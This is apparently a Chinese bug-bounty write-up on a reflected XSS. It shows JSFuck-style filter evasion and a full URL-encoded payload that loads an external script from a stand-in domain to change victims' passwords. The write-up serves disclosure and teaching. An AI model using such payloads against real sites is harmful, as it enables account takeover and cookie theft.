JavaScript代码中如果存在代码注入漏洞的话,那确实是一个令人头疼的问题…
由于这个项目并不是我们为企业环境做的渗透测试项目,因此我们可以直接将技术细节公布给大家。
简而言之,我们在某网站上发现了一个安全漏洞,经过一段时间的代码分析之后,我们成功发现了一个存在XSS漏洞的节点:
http://website.com/dir/subdir
在该节点的JavaScript代码中,有如下代码:
function("/DIR/SUBDIR",params);
使用Burp Suite扫描之后,我们发现在URL结尾添加“-alert(1)-”(http://website.com/dir/subdir/”-alert(1)-”)将能够反射XSS,浏览器会告诉我们“unable to find function ALERT(1)”:
那么接下来,我们需要测试服务器到底过滤掉了什么,比如说是“</script>”、“//”、“”还是“.”。
寻找可用的Payload
我们也寻找到了一些解决方案,而且都跟jsfuck.com有关。
当然了,在这个站点我们也可以执行一次“alert(1)”,但这只是低危的XSS,我们想要将该漏洞提升为高危或严重漏洞。为了实现这个目标,我们将需要加载一个外部JS文件,并且能够在不需要任何用户交互的情况下执行任意Web行为。
下图显示的是一个WordPress Payload,我们的目标是在目标网站中加载要一个外部JS文件,并修改账号密码以及邮箱:
制作JsFuck Payload,在JsFuck代码中,简单地“alert(1)”会被转换为:
"-%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D%5B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%5D((!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%5D)%5B!!%5B%5D%2B!!%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!!%5B%5D%2B!!%5B%5D%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!!%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D)()(%2B!!%5B%5D)-"
如果我想要实现“alert(document.cookie)”,那么整个JsFuck代码估计要到13000多个字符了。我发现,只要字符超过2500-2700个之后,目标站点的服务器就会返回“错误400”。
接下来,我们研究一下JsFuck的工作机制:
const SIMPLE = {
'false': '![]',
'true': '!0',
'undefined': '0[0]',
'NaN': '+[!0]',
'Infinity': '+(+!0+(!0+[])[!0+!0+!0]+[+!0]+[0]+[0]+[0])' // +"1e1000"
};
const CONSTRUCTORS = {
'Array': '[]',
'Number': '(+0)',
'String': '([]+[])',
'Boolean': '(!0)',
'Function': '[]["fill"]',
'RegExp': 'Function("return/"+0+"/")()'
};
const MAPPING = {
'a': '(false+"")[1]',
'b': '([]["entries"]()+"")[2]',
'c': '([]["fill"]+"")[3]',
'd': '(undefined+"")[2]',
'e': '(true+"")[3]',
'f': '(false+"")[0]',
'g': '(false+[0]+String)[20]',
'h': '(+(101))["to"+String["name"]](21)[1]',
'i': '([false]+undefined)[10]',
'j': '([]["entries"]()+"")[3]',
'k': '(+(20))["to"+String["name"]](21)',
'l': '(false+"")[2]',
'm': '(Number+"")[11]',
'n': '(undefined+"")[1]',
'o': '(true+[]["fill"])[10]',
'p': '(+(211))["to"+String["name"]](31)[1]',
然后,在Chrome中执行部分代码:
一般来说,我们可以直接用不同类型的变量来“包装”这些字符串,所以我们可以使用小写字符来存储类似false、true、undefined、NaN和Infinity之类的关键字字符串。
接下来,我想要避免使用小写字符:
Á=![]; //false
É=!![]; //true
Í=[][[]]; //undefined
Ó=+[![]]; //NaN
SI=+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]]);// Infinity
ST=([]+[]); //
Ü=(+[]);
A=(Á+"")[1];
D=(Í+"")[2];
E=(É+"")[3];
F=(Á+"")[0];
G=[![]+[+[]]+[[]+[]][+[]][[![]+{}][+[]][+!+[]+[+[]]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[![]+{}][+[]][+!+[]+[+[]]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]][+[]][!+[]+!+[]+[+[]]];
I=([Á]+Í)[10];
L=(Á+"")[2];
T=(É+"")[0];
O=(É+[][F+I+L+L])[10];
R=(É+"")[1];
N=(Í+"")[1];
M=(+(208))[T+O+"S"+T+R+I+N+G](31)[1];
P=(+(211))[T+O+"S"+T+R+I+N+G](31)[1];
S=(Á+"")[3];
U=(Í+"")[0];
V=(+(31))[T+O+"S"+T+R+I+N+G](32);
X=(+(101))[T+O+"S"+T+R+I+N+G](34)[1];
Y=(Ó+[SI])[10];
Z=(+(35))[T+O+"S"+T+R+I+N+G](36);
C=([][F+I+L+L]+"")[3];
H=(+(101))[T+O+"S"+T+R+I+N+G](21)[1];
K=(+(20))[T+O+"S"+T+R+I+N+G](21);
W=(+(32))[T+O+"S"+T+R+I+N+G](33);
J=([][E+N+T+R+I+E+S]()+"")[3];
B=([][E+N+T+R+I+E+S]()+"")[2];
当然了,我还需要使用到“.”和“/”,这里我可以利用浮点值1.1e+101来得到“.”:
非常好,我们要的“.”已经有了,现在还差“/”和“g”,考虑到大写字母过滤器的存在,我打算使用JsFuck,因此不得不牺牲1200个字符,不过这个Payload目前也只有500-800个字符,离最终的上限还有一段距离。
既然我们已经得到了所有需要的字符,那么接下来就是执行我们的Payload了:
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](A+L+E+R+T(1))();
上述这段JsFuck代码会被翻译成“fill.constructor(alert(1))”,并且让我们的JavaScript文件全部以大写字母的形式执行,非常好!
我祈祷我们的目标站点使用的是JQuery,并且在页面HTML代码的结尾进行加载,那么在注入完成之后,并且等待三秒钟加载所有的依赖组件,最终执行$.getScript来加载我们的外部JS文件。
[][F+I+L+L][C+O+N+S+T+R+U+C+T+O+R](S+E+T+"T"+I+M+E+O+U+T+"("+F+U+N+C+T+I+O+N+"(){ $"+DOT+G+E+T+"S"+C+R+I+P+T+"('"+SLA+SLA+"test"+SLA+"test')(); }, 3000);")();
等待了三秒钟之后,我们成功拿到了test/test请求!!接下来,使用URL编码对Payload进行编码处理,最终的Payload如下所示:
%3B%C3%81=![]%3B%C3%89=!![]%3B%C3%8D=[][[]]%3B%C3%93=%2B[![]]%3BSI=%2B(%2B!%2B[]%2B(!%2B[]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B[%2B!%2B[]]%2B[%2B[]]%2B[%2B[]]%2B[%2B[]])%3BST=([]%2B[])%3B%C3%9C=(%2B[])%3BA=(%C3%81%2B%22%22)[1]%3BD%20=%20(%C3%8D%2B%22%22)[2]%3BE%20=%20(%C3%89%2B%22%22)[3]%3BF%20=%20(%C3%81%2B%22%22)[0]%3BG%20=%20[![]%2B[%2B[]]%2B[[]%2B[]][%2B[]][[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B!%2B[]]%2B[![]%2B[]][%2B[]][!%2B[]%2B!%2B[]%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]%2B[[][[]]%2B[]][%2B[]][%2B[]]%2B[![]%2B%7B%7D][%2B[]][%2B!%2B[]%2B[%2B[]]]%2B[!![]%2B[]][%2B[]][%2B[]]%2B[[]%2B%7B%7D][%2B[]][%2B!%2B[]]%2B[!![]%2B[]][%2B[]][%2B!%2B[]]]][%2B[]][!%2B[]%2B!%2B[]%2B[%2B[]]]%3BI%20=%20([%C3%81]%2B%C3%8D)[10]%3BL%20=%20(%C3%81%2B%22%22)[2]%3BT%20=%20(%C3%89%2B%22%22)[0]%3BO%20=%20(%C3%89%2B[][F%2BI%2BL%2BL])[10]%3BR%20=%20(%C3%89%2B%22%22)[1]%3BN%20=%20(%C3%8D%2B%22%22)[1]%3BM%20=%20(%2B(208))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BP%20=%20(%2B(211))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](31)[1]%3BS%20=%20(%C3%81%2B%22%22)[3]%3BU%20=%20(%C3%8D%2B%22%22)[0]%3BV%20=%20(%2B(31))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](32)%3BX%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](34)[1]%3BY%20=%20(%C3%93%2B[SI])[10]%3BZ%20=%20(%2B(35))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](36)%3BC%20=%20([][F%2BI%2BL%2BL]%2B%22%22)[3]%3BH%20=%20(%2B(101))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)[1]%3BK%20=%20(%2B(20))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](21)%3BW%20=%20(%2B(32))[T%2BO%2B%22S%22%2BT%2BR%2BI%2BN%2BG](33)%3BJ%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[3]%3BB%20=%20([][E%2BN%2BT%2BR%2BI%2BE%2BS]()%2B%22%22)[2]%3BDOT%20=%20(%2B(%2211E100%22)%2B[])[1]%3BSLA=(![]%2B[%2B![]])[([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(!![]%2B[])[%2B[]]%2B(![]%2B[])[%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B([][(![]%2B[])[%2B[]]%2B([![]]%2B[][[]])[%2B!%2B[]%2B[%2B[]]]%2B(![]%2B[])[!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B[]]%2B(!![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(!![]%2B[])[%2B!%2B[]]]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]%2B(![]%2B[])[!%2B[]%2B!%2B[]%2B!%2B[]]]()[%2B!%2B[]%2B[%2B[]]]%3B[][F%2BI%2BL%2BL][C%2BO%2BN%2BS%2BT%2BR%2BU%2BC%2BT%2BO%2BR](S%2BE%2BT%2B%22T%22%2BI%2BM%2BE%2BO%2BU%2BT%2B%22(%22%2BF%2BU%2BN%2BC%2BT%2BI%2BO%2BN%2B%22()%7B%20$%22%2BDOT%2BG%2BE%2BT%2B%22S%22%2BC%2BR%2BI%2BP%2BT%2B%22('%22%2BSLA%2BSLA%2B%22BADASSDOMAIN%22%2BDOT%2B%22COM%22%2BSLA%2B%22BADASSURL')()%3B%20%7D,%203000)%3B%22)()%3B(%22
我们成功地在目标站点中加载了外部JS文件,并且我们的外部JS文件可以修改目标账号的用户密码!
总结
该漏洞可以允许攻击者实现账户接管,并将低危的XSS漏洞提升为高危漏洞,而该漏洞也拿到了1000美金的漏洞奖励。